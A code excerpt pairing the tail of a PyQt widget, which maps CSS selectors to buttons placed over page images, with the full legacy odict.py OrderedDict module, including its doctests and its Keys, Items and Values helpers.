self.parent.config['mapBackground']['home']['h'])
tab = QtGui.QTabWidget(self)
layout = QtGui.QHBoxLayout()
layout.addWidget(tab)
homeWidget = QtGui.QWidget(self)
homeWidget.setStyleSheet('''QWidget {background-image: url(%s);
background-repeat: none;}
QPushButton {background: 'transparent';
border: 1px solid black;}'''
% self.parent.config['mapBackground']['home']['file'])
tab.addTab(homeWidget, self.tr('Home Page'))
sectionWidget = QtGui.QWidget(self)
sectionWidget.setStyleSheet('''QWidget {background-image: url(%s);
background-repeat: none;}
QPushButton {background: 'green';}'''
% self.parent.config['mapBackground']['section']['file'])
tab.addTab(sectionWidget, self.tr('Sezioni'))
self.buttonList = {
'.mtitle' :
{'selector' : '.mtitle', 'size' : [70, 20], 'position' : [395, 150], 'parent' : homeWidget},
'body' :
{'selector' : 'body', 'size' : [50, 20], 'position' : [5, 110], 'parent' : homeWidget},
'.menu' :
{'selector' : '.menu', 'size' : [48, 20], 'position' : [55, 67], 'parent' : homeWidget},
'.menu a:link, .menu a:visited, .menu a:active' :
{'selector' : '.menu a:link, .menu a:visited, .menu a:active', 'size' : [174, 20], 'position' : [108, 67], 'parent' : homeWidget},
'.menu .textinput' :
{'selector' : '.menu .textinput', 'size' : [80, 20], 'position' : [310, 67], 'parent' : homeWidget},
'.forminput' :
{'selector' : '.forminput', 'size' : [190, 20], 'position' : [414, 67], 'parent' : homeWidget},
'.menu_right a:link, .menu_right a:visited' :
{'selector' : '.menu_right a:link, .menu_right a:visited', 'size' : [175, 20], 'position' : [635, 67], 'parent' : homeWidget},
'.nav a:link' :
{'selector' : '.nav a:link', 'size' : [52, 20], 'position' : [110, 102], 'parent' : homeWidget},
'.nav' :
{'selector' : '.nav', 'size' : [40, 20], 'position' : [168, 102], 'parent' : homeWidget},
}
for name, element in self.buttonList.items():
button = PushButton('', element['selector'], element['parent'])
button.setFlat(True)
button.setFixedSize(element['size'][0], element['size'][1])
button.move(element['position'][0], element['position'][1])
self.buttonList[name]['widget'] = button
self.setLayout(layout)
self.hide() | Python |
# odict.py
# An Ordered Dictionary object
# Copyright (C) 2005 Nicola Larosa, Michael Foord
# E-mail: nico AT tekNico DOT net, fuzzyman AT voidspace DOT org DOT uk
# This software is licensed under the terms of the BSD license.
# http://www.voidspace.org.uk/python/license.shtml
# Basically you're free to copy, modify, distribute and relicense it,
# So long as you keep a copy of the license with it.
# Documentation at http://www.voidspace.org.uk/python/odict.html
# For information about bugfixes, updates and support, please join the
# Pythonutils mailing list:
# http://groups.google.com/group/pythonutils/
# Comments, suggestions and bug reports welcome.
"""A dict that keeps keys in insertion order"""
from __future__ import generators
__author__ = ('Nicola Larosa <nico-NoSp@m-tekNico.net>,'
'Michael Foord <fuzzyman AT voidspace DOT org DOT uk>')
__docformat__ = "restructuredtext en"
__revision__ = '$Id: odict.py 129 2005-09-12 18:15:28Z teknico $'
__version__ = '0.2.2'
__all__ = ['OrderedDict', 'SequenceOrderedDict']
import sys
INTP_VER = sys.version_info[:2]
if INTP_VER < (2, 2):
raise RuntimeError("Python v.2.2 or later required")
import types, warnings
class OrderedDict(dict):
"""
A class of dictionary that keeps the insertion order of keys.
All appropriate methods return keys, items, or values in an ordered way.
All normal dictionary methods are available. Update and comparison is
restricted to other OrderedDict objects.
Various sequence methods are available, including the ability to explicitly
mutate the key ordering.
__contains__ tests:
>>> d = OrderedDict(((1, 3),))
>>> 1 in d
1
>>> 4 in d
0
__getitem__ tests:
>>> OrderedDict(((1, 3), (3, 2), (2, 1)))[2]
1
>>> OrderedDict(((1, 3), (3, 2), (2, 1)))[4]
Traceback (most recent call last):
KeyError: 4
__len__ tests:
>>> len(OrderedDict())
0
>>> len(OrderedDict(((1, 3), (3, 2), (2, 1))))
3
get tests:
>>> d = OrderedDict(((1, 3), (3, 2), (2, 1)))
>>> d.get(1)
3
>>> d.get(4) is None
1
>>> d.get(4, 5)
5
>>> d
OrderedDict([(1, 3), (3, 2), (2, 1)])
has_key tests:
>>> d = OrderedDict(((1, 3), (3, 2), (2, 1)))
>>> d.has_key(1)
1
>>> d.has_key(4)
0
"""
def __init__(self, init_val=(), strict=False):
"""
Create a new ordered dictionary. Cannot init from a normal dict,
nor from kwargs, since items order is undefined in those cases.
If the ``strict`` keyword argument is ``True`` (``False`` is the
default) then when doing slice assignment - the ``OrderedDict`` you are
assigning from *must not* contain any keys in the remaining dict.
>>> OrderedDict()
OrderedDict([])
>>> OrderedDict({1: 1})
Traceback (most recent call last):
TypeError: undefined order, cannot get items from dict
>>> OrderedDict({1: 1}.items())
OrderedDict([(1, 1)])
>>> d = OrderedDict(((1, 3), (3, 2), (2, 1)))
>>> d
OrderedDict([(1, 3), (3, 2), (2, 1)])
>>> OrderedDict(d)
OrderedDict([(1, 3), (3, 2), (2, 1)])
"""
self.strict = strict
dict.__init__(self)
if isinstance(init_val, OrderedDict):
self._sequence = init_val.keys()
dict.update(self, init_val)
elif isinstance(init_val, dict):
# we lose compatibility with other ordered dict types this way
raise TypeError('undefined order, cannot get items from dict')
else:
self._sequence = []
self.update(init_val)
### Special methods ###
def __delitem__(self, key):
"""
>>> d = OrderedDict(((1, 3), (3, 2), (2, 1)))
>>> del d[3]
>>> d
OrderedDict([(1, 3), (2, 1)])
>>> del d[3]
Traceback (most recent call last):
KeyError: 3
>>> d[3] = 2
>>> d
OrderedDict([(1, 3), (2, 1), (3, 2)])
>>> del d[0:1]
>>> d
OrderedDict([(2, 1), (3, 2)])
"""
if isinstance(key, types.SliceType):
# FIXME: efficiency?
keys = self._sequence[key]
for entry in keys:
dict.__delitem__(self, entry)
del self._sequence[key]
else:
# do the dict.__delitem__ *first* as it raises
# the more appropriate error
dict.__delitem__(self, key)
self._sequence.remove(key)
def __eq__(self, other):
"""
>>> d = OrderedDict(((1, 3), (3, 2), (2, 1)))
>>> d == OrderedDict(d)
True
>>> d == OrderedDict(((1, 3), (2, 1), (3, 2)))
False
>>> d == OrderedDict(((1, 0), (3, 2), (2, 1)))
False
>>> d == OrderedDict(((0, 3), (3, 2), (2, 1)))
False
>>> d == dict(d)
False
>>> d == False
False
"""
if isinstance(other, OrderedDict):
# FIXME: efficiency?
# Generate both item lists for each compare
return (self.items() == other.items())
else:
return False
def __lt__(self, other):
"""
>>> d = OrderedDict(((1, 3), (3, 2), (2, 1)))
>>> c = OrderedDict(((0, 3), (3, 2), (2, 1)))
>>> c < d
True
>>> d < c
False
>>> d < dict(c)
Traceback (most recent call last):
TypeError: Can only compare with other OrderedDicts
"""
if not isinstance(other, OrderedDict):
raise TypeError('Can only compare with other OrderedDicts')
# FIXME: efficiency?
# Generate both item lists for each compare
return (self.items() < other.items())
def __le__(self, other):
"""
>>> d = OrderedDict(((1, 3), (3, 2), (2, 1)))
>>> c = OrderedDict(((0, 3), (3, 2), (2, 1)))
>>> e = OrderedDict(d)
>>> c <= d
True
>>> d <= c
False
>>> d <= dict(c)
Traceback (most recent call last):
TypeError: Can only compare with other OrderedDicts
>>> d <= e
True
"""
if not isinstance(other, OrderedDict):
raise TypeError('Can only compare with other OrderedDicts')
# FIXME: efficiency?
# Generate both item lists for each compare
return (self.items() <= other.items())
def __ne__(self, other):
"""
>>> d = OrderedDict(((1, 3), (3, 2), (2, 1)))
>>> d != OrderedDict(d)
False
>>> d != OrderedDict(((1, 3), (2, 1), (3, 2)))
True
>>> d != OrderedDict(((1, 0), (3, 2), (2, 1)))
True
>>> d == OrderedDict(((0, 3), (3, 2), (2, 1)))
False
>>> d != dict(d)
True
>>> d != False
True
"""
if isinstance(other, OrderedDict):
# FIXME: efficiency?
# Generate both item lists for each compare
return not (self.items() == other.items())
else:
return True
def __gt__(self, other):
"""
>>> d = OrderedDict(((1, 3), (3, 2), (2, 1)))
>>> c = OrderedDict(((0, 3), (3, 2), (2, 1)))
>>> d > c
True
>>> c > d
False
>>> d > dict(c)
Traceback (most recent call last):
TypeError: Can only compare with other OrderedDicts
"""
if not isinstance(other, OrderedDict):
raise TypeError('Can only compare with other OrderedDicts')
# FIXME: efficiency?
# Generate both item lists for each compare
return (self.items() > other.items())
def __ge__(self, other):
"""
>>> d = OrderedDict(((1, 3), (3, 2), (2, 1)))
>>> c = OrderedDict(((0, 3), (3, 2), (2, 1)))
>>> e = OrderedDict(d)
>>> c >= d
False
>>> d >= c
True
>>> d >= dict(c)
Traceback (most recent call last):
TypeError: Can only compare with other OrderedDicts
>>> e >= d
True
"""
if not isinstance(other, OrderedDict):
raise TypeError('Can only compare with other OrderedDicts')
# FIXME: efficiency?
# Generate both item lists for each compare
return (self.items() >= other.items())
def __repr__(self):
"""
Used for __repr__ and __str__
>>> r1 = repr(OrderedDict((('a', 'b'), ('c', 'd'), ('e', 'f'))))
>>> r1
"OrderedDict([('a', 'b'), ('c', 'd'), ('e', 'f')])"
>>> r2 = repr(OrderedDict((('a', 'b'), ('e', 'f'), ('c', 'd'))))
>>> r2
"OrderedDict([('a', 'b'), ('e', 'f'), ('c', 'd')])"
>>> r1 == str(OrderedDict((('a', 'b'), ('c', 'd'), ('e', 'f'))))
True
>>> r2 == str(OrderedDict((('a', 'b'), ('e', 'f'), ('c', 'd'))))
True
"""
return '%s([%s])' % (self.__class__.__name__, ', '.join(
['(%r, %r)' % (key, self[key]) for key in self._sequence]))
def __setitem__(self, key, val):
"""
Allows slice assignment, so long as the slice is an OrderedDict
>>> d = OrderedDict()
>>> d['a'] = 'b'
>>> d['b'] = 'a'
>>> d[3] = 12
>>> d
OrderedDict([('a', 'b'), ('b', 'a'), (3, 12)])
>>> d[:] = OrderedDict(((1, 2), (2, 3), (3, 4)))
>>> d
OrderedDict([(1, 2), (2, 3), (3, 4)])
>>> d[::2] = OrderedDict(((7, 8), (9, 10)))
>>> d
OrderedDict([(7, 8), (2, 3), (9, 10)])
>>> d = OrderedDict(((0, 1), (1, 2), (2, 3), (3, 4)))
>>> d[1:3] = OrderedDict(((1, 2), (5, 6), (7, 8)))
>>> d
OrderedDict([(0, 1), (1, 2), (5, 6), (7, 8), (3, 4)])
>>> d = OrderedDict(((0, 1), (1, 2), (2, 3), (3, 4)), strict=True)
>>> d[1:3] = OrderedDict(((1, 2), (5, 6), (7, 8)))
>>> d
OrderedDict([(0, 1), (1, 2), (5, 6), (7, 8), (3, 4)])
>>> a = OrderedDict(((0, 1), (1, 2), (2, 3)), strict=True)
>>> a[3] = 4
>>> a
OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)])
>>> a[::1] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)])
>>> a
OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)])
>>> a[:2] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4), (4, 5)])
Traceback (most recent call last):
ValueError: slice assignment must be from unique keys
>>> a = OrderedDict(((0, 1), (1, 2), (2, 3)))
>>> a[3] = 4
>>> a
OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)])
>>> a[::1] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)])
>>> a
OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)])
>>> a[:2] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)])
>>> a
OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)])
>>> a[::-1] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)])
>>> a
OrderedDict([(3, 4), (2, 3), (1, 2), (0, 1)])
>>> d = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)])
>>> d[:1] = 3
Traceback (most recent call last):
TypeError: slice assignment requires an OrderedDict
>>> d = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)])
>>> d[:1] = OrderedDict([(9, 8)])
>>> d
OrderedDict([(9, 8), (1, 2), (2, 3), (3, 4)])
"""
if isinstance(key, types.SliceType):
if not isinstance(val, OrderedDict):
# FIXME: allow a list of tuples?
raise TypeError('slice assignment requires an OrderedDict')
keys = self._sequence[key]
# NOTE: Could use ``range(*key.indices(len(self._sequence)))``
indexes = range(len(self._sequence))[key]
if key.step is None:
# NOTE: new slice may not be the same size as the one being
# overwritten !
# NOTE: What is the algorithm for an impossible slice?
# e.g. d[5:3]
pos = key.start or 0
del self[key]
newkeys = val.keys()
for k in newkeys:
if k in self:
if self.strict:
raise ValueError('slice assignment must be from '
'unique keys')
else:
# NOTE: This removes duplicate keys *first*
# so start position might have changed?
del self[k]
self._sequence = (self._sequence[:pos] + newkeys +
self._sequence[pos:])
dict.update(self, val)
else:
# extended slice - length of new slice must be the same
# as the one being replaced
if len(keys) != len(val):
raise ValueError('attempt to assign sequence of size %s '
'to extended slice of size %s' % (len(val), len(keys)))
# FIXME: efficiency?
del self[key]
item_list = zip(indexes, val.items())
# smallest indexes first - higher indexes not guaranteed to
# exist
item_list.sort()
for pos, (newkey, newval) in item_list:
if self.strict and newkey in self:
raise ValueError('slice assignment must be from unique'
' keys')
self.insert(pos, newkey, newval)
else:
if key not in self:
self._sequence.append(key)
dict.__setitem__(self, key, val)
def __getitem__(self, key):
"""
Allows slicing. Returns an OrderedDict if you slice.
>>> b = OrderedDict([(7, 0), (6, 1), (5, 2), (4, 3), (3, 4), (2, 5), (1, 6)])
>>> b[::-1]
OrderedDict([(1, 6), (2, 5), (3, 4), (4, 3), (5, 2), (6, 1), (7, 0)])
>>> b[2:5]
OrderedDict([(5, 2), (4, 3), (3, 4)])
>>> type(b[2:4])
<class '__main__.OrderedDict'>
"""
if isinstance(key, types.SliceType):
# FIXME: does this raise the error we want?
keys = self._sequence[key]
# FIXME: efficiency?
return OrderedDict([(entry, self[entry]) for entry in keys])
else:
return dict.__getitem__(self, key)
__str__ = __repr__
def __setattr__(self, name, value):
"""
Implemented so that accesses to ``sequence`` raise a warning and are
diverted to the new ``setkeys`` method.
"""
if name == 'sequence':
warnings.warn('Use of the sequence attribute is deprecated.'
' Use the keys method instead.', DeprecationWarning)
# NOTE: doesn't return anything
self.setkeys(value)
else:
# FIXME: do we want to allow arbitrary setting of attributes?
# Or do we want to manage it?
object.__setattr__(self, name, value)
def __getattr__(self, name):
"""
Implemented so that access to ``sequence`` raises a warning.
>>> d = OrderedDict()
>>> d.sequence
[]
"""
if name == 'sequence':
warnings.warn('Use of the sequence attribute is deprecated.'
' Use the keys method instead.', DeprecationWarning)
# NOTE: Still (currently) returns a direct reference. Need to
# because code that uses sequence will expect to be able to
# mutate it in place.
return self._sequence
else:
# raise the appropriate error
raise AttributeError("OrderedDict has no '%s' attribute" % name)
def __deepcopy__(self, memo):
"""
To allow deepcopy to work with OrderedDict.
>>> from copy import deepcopy
>>> a = OrderedDict([(1, 1), (2, 2), (3, 3)])
>>> a['test'] = {}
>>> b = deepcopy(a)
>>> b == a
True
>>> b is a
False
>>> a['test'] is b['test']
False
"""
from copy import deepcopy
return self.__class__(deepcopy(self.items(), memo), self.strict)
### Read-only methods ###
def copy(self):
"""
>>> OrderedDict(((1, 3), (3, 2), (2, 1))).copy()
OrderedDict([(1, 3), (3, 2), (2, 1)])
"""
return OrderedDict(self)
def items(self):
"""
``items`` returns a list of tuples representing all the
``(key, value)`` pairs in the dictionary.
>>> d = OrderedDict(((1, 3), (3, 2), (2, 1)))
>>> d.items()
[(1, 3), (3, 2), (2, 1)]
>>> d.clear()
>>> d.items()
[]
"""
return zip(self._sequence, self.values())
def keys(self):
"""
Return a list of keys in the ``OrderedDict``.
>>> d = OrderedDict(((1, 3), (3, 2), (2, 1)))
>>> d.keys()
[1, 3, 2]
"""
return self._sequence[:]
def values(self, values=None):
"""
Return a list of all the values in the OrderedDict.
Optionally you can pass in a list of values, which will replace the
current list. The value list must be the same len as the OrderedDict.
>>> d = OrderedDict(((1, 3), (3, 2), (2, 1)))
>>> d.values()
[3, 2, 1]
"""
return [self[key] for key in self._sequence]
def iteritems(self):
"""
>>> ii = OrderedDict(((1, 3), (3, 2), (2, 1))).iteritems()
>>> ii.next()
(1, 3)
>>> ii.next()
(3, 2)
>>> ii.next()
(2, 1)
>>> ii.next()
Traceback (most recent call last):
StopIteration
"""
def make_iter(self=self):
keys = self.iterkeys()
while True:
key = keys.next()
yield (key, self[key])
return make_iter()
def iterkeys(self):
"""
>>> ii = OrderedDict(((1, 3), (3, 2), (2, 1))).iterkeys()
>>> ii.next()
1
>>> ii.next()
3
>>> ii.next()
2
>>> ii.next()
Traceback (most recent call last):
StopIteration
"""
return iter(self._sequence)
__iter__ = iterkeys
def itervalues(self):
"""
>>> iv = OrderedDict(((1, 3), (3, 2), (2, 1))).itervalues()
>>> iv.next()
3
>>> iv.next()
2
>>> iv.next()
1
>>> iv.next()
Traceback (most recent call last):
StopIteration
"""
def make_iter(self=self):
keys = self.iterkeys()
while True:
yield self[keys.next()]
return make_iter()
### Read-write methods ###
def clear(self):
"""
>>> d = OrderedDict(((1, 3), (3, 2), (2, 1)))
>>> d.clear()
>>> d
OrderedDict([])
"""
dict.clear(self)
self._sequence = []
def pop(self, key, *args):
"""
No dict.pop in Python 2.2, gotta reimplement it
>>> d = OrderedDict(((1, 3), (3, 2), (2, 1)))
>>> d.pop(3)
2
>>> d
OrderedDict([(1, 3), (2, 1)])
>>> d.pop(4)
Traceback (most recent call last):
KeyError: 4
>>> d.pop(4, 0)
0
>>> d.pop(4, 0, 1)
Traceback (most recent call last):
TypeError: pop expected at most 2 arguments, got 3
"""
if len(args) > 1:
raise TypeError, ('pop expected at most 2 arguments, got %s' %
(len(args) + 1))
if key in self:
val = self[key]
del self[key]
else:
try:
val = args[0]
except IndexError:
raise KeyError(key)
return val
def popitem(self, i=-1):
"""
Delete and return an item specified by index, not a random one as in
dict. The index is -1 by default (the last item).
>>> d = OrderedDict(((1, 3), (3, 2), (2, 1)))
>>> d.popitem()
(2, 1)
>>> d
OrderedDict([(1, 3), (3, 2)])
>>> d.popitem(0)
(1, 3)
>>> OrderedDict().popitem()
Traceback (most recent call last):
KeyError: 'popitem(): dictionary is empty'
>>> d.popitem(2)
Traceback (most recent call last):
IndexError: popitem(): index 2 not valid
"""
if not self._sequence:
raise KeyError('popitem(): dictionary is empty')
try:
key = self._sequence[i]
except IndexError:
raise IndexError('popitem(): index %s not valid' % i)
return (key, self.pop(key))
def setdefault(self, key, defval = None):
"""
>>> d = OrderedDict(((1, 3), (3, 2), (2, 1)))
>>> d.setdefault(1)
3
>>> d.setdefault(4) is None
True
>>> d
OrderedDict([(1, 3), (3, 2), (2, 1), (4, None)])
>>> d.setdefault(5, 0)
0
>>> d
OrderedDict([(1, 3), (3, 2), (2, 1), (4, None), (5, 0)])
"""
if key in self:
return self[key]
else:
self[key] = defval
return defval
def update(self, from_od):
"""
Update from another OrderedDict or sequence of (key, value) pairs
>>> d = OrderedDict(((1, 0), (0, 1)))
>>> d.update(OrderedDict(((1, 3), (3, 2), (2, 1))))
>>> d
OrderedDict([(1, 3), (0, 1), (3, 2), (2, 1)])
>>> d.update({4: 4})
Traceback (most recent call last):
TypeError: undefined order, cannot get items from dict
>>> d.update((4, 4))
Traceback (most recent call last):
TypeError: cannot convert dictionary update sequence element "4" to a 2-item sequence
"""
if isinstance(from_od, OrderedDict):
for key, val in from_od.items():
self[key] = val
elif isinstance(from_od, dict):
# we lose compatibility with other ordered dict types this way
raise TypeError('undefined order, cannot get items from dict')
else:
# FIXME: efficiency?
# sequence of 2-item sequences, or error
for item in from_od:
try:
key, val = item
except TypeError:
raise TypeError('cannot convert dictionary update'
' sequence element "%s" to a 2-item sequence' % item)
self[key] = val
def rename(self, old_key, new_key):
"""
Rename the key for a given value, without modifying sequence order.
For the case where new_key already exists this raise an exception,
since if new_key exists, it is ambiguous as to what happens to the
associated values, and the position of new_key in the sequence.
>>> od = OrderedDict()
>>> od['a'] = 1
>>> od['b'] = 2
>>> od.items()
[('a', 1), ('b', 2)]
>>> od.rename('b', 'c')
>>> od.items()
[('a', 1), ('c', 2)]
>>> od.rename('c', 'a')
Traceback (most recent call last):
ValueError: New key already exists: 'a'
>>> od.rename('d', 'b')
Traceback (most recent call last):
KeyError: 'd'
"""
if new_key == old_key:
# no-op
return
if new_key in self:
raise ValueError("New key already exists: %r" % new_key)
# rename sequence entry
value = self[old_key]
old_idx = self._sequence.index(old_key)
self._sequence[old_idx] = new_key
# rename internal dict entry
dict.__delitem__(self, old_key)
dict.__setitem__(self, new_key, value)
def setitems(self, items):
"""
This method allows you to set the items in the dict.
It takes a list of tuples - of the same sort returned by the ``items``
method.
>>> d = OrderedDict()
>>> d.setitems(((3, 1), (2, 3), (1, 2)))
>>> d
OrderedDict([(3, 1), (2, 3), (1, 2)])
"""
self.clear()
# FIXME: this allows you to pass in an OrderedDict as well :-)
self.update(items)
def setkeys(self, keys):
"""
``setkeys`` all ows you to pass in a new list of keys which will
replace the current set. This must contain the same set of keys, but
need not be in the same order.
If you pass in new keys that don't match, a ``KeyError`` will be
raised.
>>> d = OrderedDict(((1, 3), (3, 2), (2, 1)))
>>> d.keys()
[1, 3, 2]
>>> d.setkeys((1, 2, 3))
>>> d
OrderedDict([(1, 3), (2, 1), (3, 2)])
>>> d.setkeys(['a', 'b', 'c'])
Traceback (most recent call last):
KeyError: 'Keylist is not the same as current keylist.'
"""
# FIXME: Efficiency? (use set for Python 2.4 :-)
# NOTE: list(keys) rather than keys[:] because keys[:] returns
# a tuple, if keys is a tuple.
kcopy = list(keys)
kcopy.sort()
self._sequence.sort()
if kcopy != self._sequence:
raise KeyError('Keylist is not the same as current keylist.')
# NOTE: This makes the _sequence attribute a new object, instead
# of changing it in place.
# FIXME: efficiency?
self._sequence = list(keys)
def setvalues(self, values):
"""
You can pass in a list of values, which will replace the
current list. The value list must be the same len as the OrderedDict.
(Or a ``ValueError`` is raised.)
>>> d = OrderedDict(((1, 3), (3, 2), (2, 1)))
>>> d.setvalues((1, 2, 3))
>>> d
OrderedDict([(1, 1), (3, 2), (2, 3)])
>>> d.setvalues([6])
Traceback (most recent call last):
ValueError: Value list is not the same length as the OrderedDict.
"""
if len(values) != len(self):
# FIXME: correct error to raise?
raise ValueError('Value list is not the same length as the '
'OrderedDict.')
self.update(zip(self, values))
### Sequence Methods ###
def index(self, key):
"""
Return the position of the specified key in the OrderedDict.
>>> d = OrderedDict(((1, 3), (3, 2), (2, 1)))
>>> d.index(3)
1
>>> d.index(4)
Traceback (most recent call last):
ValueError: list.index(x): x not in list
"""
return self._sequence.index(key)
def insert(self, index, key, value):
"""
Takes ``index``, ``key``, and ``value`` as arguments.
Sets ``key`` to ``value``, so that ``key`` is at position ``index`` in
the OrderedDict.
>>> d = OrderedDict(((1, 3), (3, 2), (2, 1)))
>>> d.insert(0, 4, 0)
>>> d
OrderedDict([(4, 0), (1, 3), (3, 2), (2, 1)])
>>> d.insert(0, 2, 1)
>>> d
OrderedDict([(2, 1), (4, 0), (1, 3), (3, 2)])
>>> d.insert(8, 8, 1)
>>> d
OrderedDict([(2, 1), (4, 0), (1, 3), (3, 2), (8, 1)])
"""
if key in self:
# FIXME: efficiency?
del self[key]
self._sequence.insert(index, key)
dict.__setitem__(self, key, value)
def reverse(self):
"""
Reverse the order of the OrderedDict.
>>> d = OrderedDict(((1, 3), (3, 2), (2, 1)))
>>> d.reverse()
>>> d
OrderedDict([(2, 1), (3, 2), (1, 3)])
"""
self._sequence.reverse()
def sort(self, *args, **kwargs):
"""
Sort the key order in the OrderedDict.
This method takes the same arguments as the ``list.sort`` method on
your version of Python.
>>> d = OrderedDict(((4, 1), (2, 2), (3, 3), (1, 4)))
>>> d.sort()
>>> d
OrderedDict([(1, 4), (2, 2), (3, 3), (4, 1)])
"""
self._sequence.sort(*args, **kwargs)
class Keys(object):
# FIXME: should this object be a subclass of list?
"""
Custom object for accessing the keys of an OrderedDict.
Can be called like the normal ``OrderedDict.keys`` method, but also
supports indexing and sequence methods.
"""
def __init__(self, main):
self._main = main
def __call__(self):
"""Pretend to be the keys method."""
return self._main._keys()
def __getitem__(self, index):
"""Fetch the key at position i."""
# NOTE: this automatically supports slicing :-)
return self._main._sequence[index]
def __setitem__(self, index, name):
"""
You cannot assign to keys, but you can do slice assignment to re-order
them.
You can only do slice assignment if the new set of keys is a reordering
of the original set.
"""
if isinstance(index, types.SliceType):
# FIXME: efficiency?
# check length is the same
indexes = range(len(self._main._sequence))[index]
if len(indexes) != len(name):
raise ValueError('attempt to assign sequence of size %s '
'to slice of size %s' % (len(name), len(indexes)))
# check they are the same keys
# FIXME: Use set
old_keys = self._main._sequence[index]
new_keys = list(name)
old_keys.sort()
new_keys.sort()
if old_keys != new_keys:
raise KeyError('Keylist is not the same as current keylist.')
orig_vals = [self._main[k] for k in name]
del self._main[index]
vals = zip(indexes, name, orig_vals)
vals.sort()
for i, k, v in vals:
if self._main.strict and k in self._main:
raise ValueError('slice assignment must be from '
'unique keys')
self._main.insert(i, k, v)
else:
raise ValueError('Cannot assign to keys')
### following methods pinched from UserList and adapted ###
def __repr__(self): return repr(self._main._sequence)
# FIXME: do we need to check if we are comparing with another ``Keys``
# object? (like the __cast method of UserList)
def __lt__(self, other): return self._main._sequence < other
def __le__(self, other): return self._main._sequence <= other
def __eq__(self, other): return self._main._sequence == other
def __ne__(self, other): return self._main._sequence != other
def __gt__(self, other): return self._main._sequence > other
def __ge__(self, other): return self._main._sequence >= other
# FIXME: do we need __cmp__ as well as rich comparisons?
def __cmp__(self, other): return cmp(self._main._sequence, other)
def __contains__(self, item): return item in self._main._sequence
def __len__(self): return len(self._main._sequence)
def __iter__(self): return self._main.iterkeys()
def count(self, item): return self._main._sequence.count(item)
def index(self, item, *args): return self._main._sequence.index(item, *args)
def reverse(self): self._main._sequence.reverse()
def sort(self, *args, **kwds): self._main._sequence.sort(*args, **kwds)
def __mul__(self, n): return self._main._sequence*n
__rmul__ = __mul__
def __add__(self, other): return self._main._sequence + other
def __radd__(self, other): return other + self._main._sequence
## following methods not implemented for keys ##
def __delitem__(self, i): raise TypeError('Can\'t delete items from keys')
def __iadd__(self, other): raise TypeError('Can\'t add in place to keys')
def __imul__(self, n): raise TypeError('Can\'t multiply keys in place')
def append(self, item): raise TypeError('Can\'t append items to keys')
def insert(self, i, item): raise TypeError('Can\'t insert items into keys')
def pop(self, i=-1): raise TypeError('Can\'t pop items from keys')
def remove(self, item): raise TypeError('Can\'t remove items from keys')
def extend(self, other): raise TypeError('Can\'t extend keys')
class Items(object):
"""
Custom object for accessing the items of an OrderedDict.
Can be called like the normal ``OrderedDict.items`` method, but also
supports indexing and sequence methods.
"""
def __init__(self, main):
self._main = main
def __call__(self):
"""Pretend to be the items method."""
return self._main._items()
def __getitem__(self, index):
"""Fetch the item at position i."""
if isinstance(index, types.SliceType):
# fetching a slice returns an OrderedDict
return self._main[index].items()
key = self._main._sequence[index]
return (key, self._main[key])
def __setitem__(self, index, item):
"""Set item at position i to item."""
if isinstance(index, types.SliceType):
# NOTE: item must be an iterable (list of tuples)
self._main[index] = OrderedDict(item)
else:
# FIXME: Does this raise a sensible error?
orig = self._main.keys[index]
key, value = item
if self._main.strict and key in self and (key != orig):
raise ValueError('slice assignment must be from '
'unique keys')
# delete the current one
del self._main[self._main._sequence[index]]
self._main.insert(index, key, value)
def __delitem__(self, i):
"""Delete the item at position i."""
key = self._main._sequence[i]
if isinstance(i, types.SliceType):
for k in key:
# FIXME: efficiency?
del self._main[k]
else:
del self._main[key]
### following methods pinched from UserList and adapted ###
def __repr__(self): return repr(self._main.items())
# FIXME: do we need to check if we are comparing with another ``Items``
# object? (like the __cast method of UserList)
def __lt__(self, other): return self._main.items() < other
def __le__(self, other): return self._main.items() <= other
def __eq__(self, other): return self._main.items() == other
def __ne__(self, other): return self._main.items() != other
def __gt__(self, other): return self._main.items() > other
def __ge__(self, other): return self._main.items() >= other
def __cmp__(self, other): return cmp(self._main.items(), other)
def __contains__(self, item): return item in self._main.items()
def __len__(self): return len(self._main._sequence) # easier :-)
def __iter__(self): return self._main.iteritems()
def count(self, item): return self._main.items().count(item)
def index(self, item, *args): return self._main.items().index(item, *args)
def reverse(self): self._main.reverse()
def sort(self, *args, **kwds): self._main.sort(*args, **kwds)
def __mul__(self, n): return self._main.items()*n
__rmul__ = __mul__
def __add__(self, other): return self._main.items() + other
def __radd__(self, other): return other + self._main.items()
def append(self, item):
"""Add an item to the end."""
# FIXME: this is only append if the key isn't already present
key, value = item
self._main[key] = value
def insert(self, i, item):
key, value = item
self._main.insert(i, key, value)
def pop(self, i=-1):
key = self._main._sequence[i]
return (key, self._main.pop(key))
def remove(self, item):
key, value = item
try:
assert value == self._main[key]
except (KeyError, AssertionError):
raise ValueError('ValueError: list.remove(x): x not in list')
else:
del self._main[key]
def extend(self, other):
# FIXME: is only a true extend if none of the keys already present
for item in other:
key, value = item
self._main[key] = value
def __iadd__(self, other):
self.extend(other)
## following methods not implemented for items ##
def __imul__(self, n): raise TypeError('Can\'t multiply items in place')
class Values(object):
"""
Custom object for accessing the values of an OrderedDict.
Can be called like the normal ``OrderedDict.values`` method, but also
supports indexing and sequence methods.
"""
def __init__(self, main):
self._main = main
def __call__(self):
"""Pretend to be the values method."""
return self._main._values()
def __getitem__(self, index):
"""Fetch the value at position i."""
if isinstance(index, types.SliceType):
return [self._main[key] for key in self._main._sequence[index]]
else:
return self._main[self._main._sequence[index]]
def __setitem__(self, index, value):
"""
Set the value at position i to value.
You can only do slice assignment to values if you supply a sequence of
equal length to the slice you are replacing.
"""
if isinstance(index, types.SliceType):
keys = self._main._sequence[index]
if len(keys) != len(value):
raise ValueError('attempt to assign sequence of size %s '
'to slice of size %s' % (len(name), len(keys)))
# FIXME: efficiency? Would be better to calculate the indexes
# directly from the slice object
# NOTE: the new keys can collide with existing keys (or even
# contain duplicates) - these will overwrite
for key, val in zip(keys, value):
self._main[key] = val
else:
self._main[self._main._sequence[index]] = value
